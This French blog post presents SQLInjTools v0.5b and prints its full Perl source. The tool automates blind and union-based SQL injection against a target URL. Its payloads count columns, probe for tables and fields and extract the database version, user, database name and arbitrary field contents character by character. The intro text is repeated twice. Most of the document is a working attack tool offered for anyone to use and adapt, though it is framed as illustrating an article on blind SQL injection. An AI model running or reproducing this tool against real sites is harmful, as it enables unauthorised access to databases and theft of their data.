SQLInjTools, comme son nom l'indique, sert à automatiser l'exploitation des injections SQL. Ce programme est libre : vous pouvez l'utiliser, le modifier, et le redistribuer tant que vous me citez comme auteur original, avec un lien vers ce site.
L'utilisation de ce couteau suisse est très simple. Il suffit de lui donner en paramètre l'URL vulnérable, et un motif apparaissant sur la page pour que le programme sache quand une page est "valide" ou non (pour savoir si l'injection a réussi ou pas).
Une fois lancé, l'outil se présente sous la forme d'un shell, et est autodocumenté (enfin presque, vu qu'il n'est pas fini). Les commandes de base vous permettent de tester des noms de champs, de tables, en mode interactif ou par bruteforce à l'aide d'une wordlist.
Le programme permet également de récupérer quelques infos sur le serveur comme le nom de l'utilisateur courant, la base, et la version du serveur. Il n'a été testé qu'avec MySQL mais il se peut qu'il marche pour d'autres serveurs.
Bien que le programme ne soit pas tout à fait fini, j'ai décidé de le publier pour illustrer l'article sur les Blind SQL Injections, mais aussi pour les curieux qui ont envie de le bidouiller et de l'adapter selon leur bon plaisir.
Et pour couronner le tout, je vous ai concocté une petite vidéo de démonstration où vous verrez en détails comment fonctionne ce tool. Attention toutefois, j'ai retouché un peu le programme entretemps (notemment pour corriger des bugs dont j'ai pris conscience au moment de faire la démo...) donc il se peut qu'il y ait quelques petits détails qui changent avec le "vrai".
credit:trance
Video de démo : ici
L'utilisation de ce couteau suisse est très simple. Il suffit de lui donner en paramètre l'URL vulnérable, et un motif apparaissant sur la page pour que le programme sache quand une page est "valide" ou non (pour savoir si l'injection a réussi ou pas).
Une fois lancé, l'outil se présente sous la forme d'un shell, et est autodocumenté (enfin presque, vu qu'il n'est pas fini). Les commandes de base vous permettent de tester des noms de champs, de tables, en mode interactif ou par bruteforce à l'aide d'une wordlist.
Le programme permet également de récupérer quelques infos sur le serveur comme le nom de l'utilisateur courant, la base, et la version du serveur. Il n'a été testé qu'avec MySQL mais il se peut qu'il marche pour d'autres serveurs.
Bien que le programme ne soit pas tout à fait fini, j'ai décidé de le publier pour illustrer l'article sur les Blind SQL Injections, mais aussi pour les curieux qui ont envie de le bidouiller et de l'adapter selon leur bon plaisir.
Et pour couronner le tout, je vous ai concocté une petite vidéo de démonstration où vous verrez en détails comment fonctionne ce tool. Attention toutefois, j'ai retouché un peu le programme entretemps (notemment pour corriger des bugs dont j'ai pris conscience au moment de faire la démo...) donc il se peut qu'il y ait quelques petits détails qui changent avec le "vrai".
Code:
#!/usr/bin/perl # # SQLInjTools v0.5b # # by TranceFusion # # date : 12/01/07 � 22h16 # # http://www.ghostsinthestack.org # # Trousse a outils permettant d'exploiter une page vulnerable a une Injection SQL # use Socket; use IO::Socket::INET; use Term::ANSIColor; # Pour les couleurs dans le shell # Capture le Ctrl + C pour �viter la fermeture (quitte juste l'action courante) # /!\ Support partiel... Ca marche une fois, mais pas 2 :( # Desole, je debute en perl donc je n'ai pas encore toruve de solution propre. Si vous en avez, faites moi signe ! $SIG{INT} = \&stopCommande; # # Fonction affichant l'aide sommaire pour la ligne de commande # sub usage{ print <<EOF; Utilisation : $0 [-p] url [!] pattern Arguments obligatoires : url : URL de la page vulnerable pattern : chaine de caractere apparaissant sur la page permettant de dire si l'injection a reussi Options facultatives : -p : Utiliser le proxy (� preciser dans le script) ! : inverse la signification de pattern qui est alors utilisee pour savoir si l'injection a rencontre une erreur EOF exit 0; } # # Envoi une requete au serveur et retourne la page HTML resultat # # @param URL a demander au serveur # @result Buffer contenant la page HTML # sub envoiRequete{ my $string; ($string) = @_; $string =~ s/ /%20/g; my $socket = IO::Socket::INET->new("$serveur:$port") || die "Connexion refusee.\n"; select($socket); $| = 1; select(STDOUT); # Vidage immediat du buffer de sortie # Envoi de la requete print $socket <<EOF; GET $string HTTP/1.0 User-Agent: Mozilla/4.78 [en] (X11; U; Linux 2.4.9-13 i686) Host: $host Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Charset: iso-8859-1,*,utf-8 Connection: close EOF # Lecture de la reponse - on lit uniquement le code HTML (c'est pourquoi on attend de lire une ligne vide avant) my $buffer = ""; my $concat = 0; while ($ligne = <$socket>) { if($concat){ $buffer .= $ligne; } if($ligne =~ /^\s$/){ $concat = 1; } } close($socket); # on retourne la page HTML lue return $buffer; } # # Bruteforce et retourne le nombre de champs de la table de base # @return nombre de champs de la table de base # sub getNbChamps{ #Compteur de champs my $n = 0; #Doit-on s'arreter ? $ok = 0; while(!$ok){ $n++; #Injection ! my $str = "$url group by $n"; #print "$str\n"; my $buffer = envoiRequete($str); if( ! ( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ) ){ $ok=1; } } $n--; return $n; } # Fonction prenant en parametre la chaine (fonction ou champ) dont on veut connaitre la valeur par bruteforce # # @param champ ou fonction SQL que l'on va bruteforcer caractere par caractere # @result chaine resultat sub bruteforceString{ my $param; ($param) = (@_); # la chaine qu'on cherche my $string = ""; # index du caractere courant my $i = 1; # bornes des caracteres my $borne_inf = 33; my $borne_sup = 123; # code du caractere courant my $code = $borne_inf; while($code <= $borne_sup){ #Injection ! my $str = "$url and substring($param,$i,1)=char($code)"; my $buffer = envoiRequete($str); # si on trouve ce qu'on veut... if( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ){ # c'est que le caractere est bon, donc on l'ajoutte � la cha�ne... $string .= chr($code); print(chr($code)); $| = 1; select(STDOUT); # ...et on passe au caractere suivant $i++; $code = $borne_inf; # sinon on incremente le caract�re } else { $code++; } } return $string; } # Fonction permettant de tester si une table existe. Valable uniquement si la version du serveur est >=4. # # @param nom de la table # @param nombre de champs dans la table de depart # @return 1 si la table existe, 0 sinon sub testTable{ my $table; my $nbChamps; ($table,$nbChamps) = @_; # Construction de la chaine a injecter my $str = "$url union select "; $str .= "0,"x $nbChamps; chop($str); $str .= " from $table"; my $buffer = envoiRequete($str); # on regarde si la page est OK et on retourne en cons�quence return ( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ); } # Fonction permettant de tester si un champ existe dans une table donnee. Valable uniquement si la version du serveur est >=4. # # @param nom du champ a tester # @param nom de la table dans lequel le champ se trouve, 0 pour prendre la table de depart. # @param nombre de champs dans la table de depart # @return 1 si la table existe, 0 sinon sub testChamp{ my $champ; my $table; my $nbChamps; ($champ,$table,$nbChamps) = @_; # Construction de la chaine a injecter my $str = $url; if($table =~ /^0$/){ $str .= " order by $champ=1"; } else { $str .= " union select $champ,"; $str .= "0," x ($nbChamps - 1); chop($str); $str .= " from $table"; } # Injection my $buffer = envoiRequete($str); # on regarde si la page est OK et on retourne en cons�quence return ( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ); } # # Fonction retournant le 'nom' de la table courante (pour affichage) # sub tableCourante{ if($table_courante =~ /^0$/){ return "~"; } else { return $table_courante; } } # # Fonction s'executant quand une commande vient d'etre stoppee # sub stopCommande{ print "\nCommande stoppee."; boucleShell(); } # # Boucle principale du shell # sub boucleShell{ print "\n["; print color 'bold blue'; print "~"; print color 'reset'; print "]\$ "; BOUCLE_SHELL: while(<stdin>){ chomp(); SWITCH: { # Commande Number_of_Fields permettant d'obtenir le nombre de champs de la table de depart if (/^nf$/) { $nb_champs = getNbChamps(); print "[+] Nombre de champs : $nb_champs\n"; last SWITCH; } # Commande Test_Table permettant de tester si une table existe if (/^tt/) { if (! /^tt (.+)$/) { print "erreur: La commande tt prend en parametre le nom de la table a tester.\n"; last SWITCH; } if ($nb_champs == 0) { print "erreur: Le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n"; last SWITCH; } if (testTable($1,$nb_champs)) { print "[+] La table $1 existe !\n"; $tables{$1} = {} if(!$tables{$1}); } else { print "La table $1 n'existe pas.\n"; } last SWITCH; } # Commande Test_Field permettant de tester si un champ existe dans la table courante if (/^tf/) { if (! /^tf (.+)$/) { print "erreur: La commande tf prend en parametre le nom du champ a tester.\n"; last SWITCH; } if ($nb_champs == 0 && $table_default != "0") { print "erreur: Vous n'etes pas dans la table de depart, et le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n"; last SWITCH; } if (testChamp($1,$table_courante,$nb_champs)) { print "[+] Le champ $1 existe dans la table ".tableCourante()." !\n"; # ajoute le champ en tant que cle dans la table my $champs = $tables{tableCourante().""}; ${$champs}{$1} = $1; } else { print "Le champ $1 n'existe pas dans la table ".tableCourante().".\n"; } last SWITCH; } # Commande Change_Table permettant de changer de table courante if (/^ct/) { if (! /^ct (.+)$/) { # si pas d'arguments on revient a ~ par defaut $table_courante = "0"; last SWITCH; } if ($nb_champs == 0) { print "erreur: Le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n"; last SWITCH; } my $t = $1; if ($t =~ /^0$/ || $t =~ /~/) { $table_courante = "0"; } else { if (!testTable($t,$nb_champs)) { print "erreur: la table $1 n'existe pas !\n"; last SWITCH; } $tables{$1} = {} if(!$tables{$1}); $table_courante = "$t"; } last SWITCH; } # Commande List_Fields permettant de lister les champs de la table courante if (/^lf$/) { my $champs = $tables{tableCourante().""}; print join("\n",keys(%{$champs}) ) . "\n"; last SWITCH; } # Commande List_Tables permettant de lister les tables trouvees if (/^lt$/) { printf join("\n",keys %tables)."\n"; last SWITCH; } # Commande Version permettant de recuperer la version du serveur if (/^v$/) { print "[+] Bruteforce de la version : "; $version = bruteforceString("version()"); printf "\n"; last SWITCH; } # Commande Data_Base permettant de recuperer le nom de la base de donnees if (/^db$/) { print "[+] Bruteforce du nom de la base : "; $db = bruteforceString("database()"); printf "\n"; last SWITCH; } # Commande User permettant de recuperer le nom de l'utilisateur SQL if (/^u$/) { print "[+] Bruteforce du nom de l'utilisateur SQL : "; $user = bruteforceString("user()"); printf "\n"; last SWITCH; } # Commande Quit permettant de quitter if (/^q$/ || /^quit$/ || /^exit$/) { print "Bye ;)\n"; exit 0; } # Commande eXecute permettant d'executer une commande shell if (/^x/) { if(!/^x (.+)$/){ print "erreur : Vous devez passer en parametre le nom de la commande Bash a executer.\n"; last SWITCH; } else { print `$1`; last SWITCH; } } # Commande BruteForce_Fields_with_Wordlist permettant de bruteforcer le nom des champs avec une wordlist if (/^bffw?/) { if ($nb_champs == 0 && $table_default != "0") { print "erreur: Vous n'etes pas dans la table de depart, et le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n"; last SWITCH; } if(!/^bffw? (.+)$/){ print "erreur : Vous devez passer en parametre le nom du fichier wordlist.\n"; last SWITCH; } if(! -f $1){ print "erreur : le fichier $1 est introuvable.\n"; last SWITCH; } open WORDLIST,"<$1"; while(<WORDLIST>){ chomp; if(testChamp($_,$table_courante,$nb_champs)){ print "[+] Champ trouve : $_ !\n"; my $champs = $tables{tableCourante().""}; ${$champs}{$_} = $_; } } close WORDLIST; last SWITCH; } # Commande BruteForce_Field_Content permettant de recuperer le nom de la base de donnees if (/^bfc/) { if(!/^bfc (.+)$/){ print "erreur : vous devez passer en parametre le nom du champ a bruteforcer.\n"; last SWITCH; } print "[+] Bruteforce du contenu du champ $1 : "; $db = bruteforceString("$1"); printf "\n"; last SWITCH; } # Commande Help, fonction d'aide if (/^h$/ || /^help$/) { print <<EOF; Commandes disponibles : nf : Number of Fields - Recupere le nombre de champs dans la table de base par bruteforce v : Version - Recupere la version du serveur par bruteforce db : DataBase - Recupere le nom de la base de donnees par bruteforce u : User - Recupere le nom de l'utilisateur SQL par bruteforce tf : Test Field - Teste si un champ existe dans la table courante tt : Test Table - Teste si une table existe dans la base ct : Change Table - Se deplace dans une autre table passee en parametre, ~ par defaut lf : List Fields - Affiche le nom des champs trouves lt : List Tables - Affiche le nom des tables trouvees x : eXecute - Execute la commande Bash passee en parametre bfc : BruteForce Field Content - Bruteforce le contenu d'un champ bffw : BruteForce Fields (by Wordlist) - Tente de trouver le nom des champs par bruteforce sur une wordlist q : Quit - Quitte le shell h : Help - Affiche cette aide EOF last SWITCH; } # clause default du switch /^([^ ]+)( .+)?/ && print "$1 : commande invalide. Tapez help pour avoir la liste.\n"; } $table_disp = tableCourante(); print "["; print color 'bold blue'; print "$table_disp"; print color 'reset'; print "]\$ "; } } ################################################################################################### # # # Debut du programme principal # # # ################################################################################################### #print $#ARGV."\n"; ($#ARGV > 3 || $#ARGV < 1) && usage(); # # Variables globales preliminaires # $proxy = "votreproxy.com"; # a preciser si vous voulez passer par un proxy $port_proxy = 8080; $port_host = 80; # definit si l'utilisateur a precise l'option ! qui inverse le comportement de pattern $pattern_true = 1; # # Recuperation des arguments # $i = 0; if ($proxy_mode = ($ARGV[0] eq "-p")){ $i++; } $url = $ARGV[$i++]; if($url =~ /http:\/\/([^\/]+)\//){ $host = $1; } else { die("URL invalide\n"); } if($proxy_mode){ $serveur = $proxy; $port = $port_proxy; } else { $serveur = $host; $port = $port_host; } if($ARGV[$i] eq "!"){ $pattern_true = 0; $i++; } $valid_pattern = $ARGV[$i]; # Affichage recapitulatif print <<EOF; SQLInjTools v0.5b by TranceFusion http://www.ghostsinthestack.org Ce programme est libre, vous pouvez l'utiliser, le modifier, et le redistribuer, du moment que vous citez toujours l'auteur original et son site, et que le programme que vous rediffusez est toujours libre. L'auteur n'est pas responsable de l'utilisation que vous ferez de ce programme, et le programme n'est fourni avec aucune garantie. A ce propos, il est rappele que ce programme est encore en beta. Il se peut donc qu'il contienne quelques bugs et/ou qu'il soit incomplet. Si vous avez des suggestions a faire a l'auteur, n'hesitez pas ! Parametres : EOF print " URL : $url\n"; print " Serveur hebergeant la page : $host\n"; print " Serveur auquel se connecter : $serveur:$port\n"; print " Pattern : /$valid_pattern/, definit si l'injection est "; if(!$pattern_true){ print "fausse ou erronnee\n"; } else { print "valide\n"; } print "\n"; # # variables globales contenant les infos recuperees du serveur # # Nombre de champs de la table de depart $nb_champs = 0; # table de depart $table_courante = "0"; # version du serveur $version = 0; # base $db = 0; # user SQL $user = 0; # tables trouvees $tables{tableCourante().""} = {}; # # Boucle du shell # print "Pour quitter le shell, tapez exit, ou quit, ou q. Pour une liste des commandes, tapez help ou h. Pour arreter une commande en cours, faites Ctrl + C.\n\n"; boucleShell();
Video de démo : ici